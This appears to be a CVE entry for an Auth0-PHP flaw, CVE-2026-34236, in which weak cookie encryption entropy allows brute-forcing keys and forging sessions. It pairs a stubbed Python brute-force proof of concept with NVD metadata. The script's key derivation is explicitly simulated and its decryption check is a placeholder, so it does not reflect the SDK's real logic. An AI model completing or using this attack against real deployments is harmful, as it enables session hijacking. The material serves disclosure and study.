CVE-2026-34236

# This is a conceptual PoC for demonstrating the brute force attack on weak entropy # Author: Security Analyst # Date: 2026-04-01 import hashlib import itertools import base64 # Simulated weak key generation based on low entropy source (e.g., limited timestamp or PID) def generate_weak_keyspace(): # In the real vulnerability, the entropy might be based on a small range of values # Here we simulate keys derived from a 16-bit integer space for demonstration for i in range(0, 65535): # Simulating the key derivation logic found in the vulnerable SDK key_material = f"auth0_static_salt_{i}".encode('utf-8') yield hashlib.sha256(key_material).digest()[:16] # Assuming 16-byte key # Function to attempt decryption/verification def attempt_decrypt(captured_cookie, key): # Pseudo-code for decryption logic # In a real scenario, this would use the specific cipher mode (e.g., AES-GCM) used by Auth0-PHP try: # Mock verification: if the decryption produces valid JSON or padding, it's a hit # iv = captured_cookie[:12] # ciphertext = captured_cookie[12:] # decryptor = Cipher(algorithms.AES(key), modes.GCM(iv), backend=default_backend()).decryptor() # plaintext = decryptor.update(ciphertext) + decryptor.finalize() # return True if plaintext is valid return False # Placeholder except Exception: return False def main(): # The attacker captures the encrypted session cookie from the network captured_cookie = "<captured_cookie_base64_string_here>" print(f"[*] Starting brute force on captured cookie: {captured_cookie[:20]}...") for key in generate_weak_keyspace(): if attempt_decrypt(captured_cookie, key): print(f"[+] Key found: {key.hex()}") print("[!] Attacker can now forge session cookies.") break else: print("[-] Key not found in simulated keyspace.") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2026-34236", "sourceIdentifier": "[email protected]", "published": "2026-04-01T18:16:30.007", "lastModified": "2026-04-07T20:20:35.920", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Auth0-PHP is a PHP SDK for Auth0 Authentication and Management APIs. From version 8.0.0 to before version 8.19.0, in applications built with the Auth0 PHP SDK, cookies are encrypted with insufficient entropy, which may result in threat actors brute-forcing the encryption key and forging session cookies. This issue has been patched in version 8.19.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-331"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:auth0:auth0-php:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.19.0", "matchCriteriaId": "180C24B0-B1AD-4517-BCF2-10C60124959A"}]}]}], "references": [{"url": "https://github.com/auth0/auth0-PHP/releases/tag/8.19.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/auth0/auth0-PHP/security/advisories/GHSA-w3wc-44p4-m4j7", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}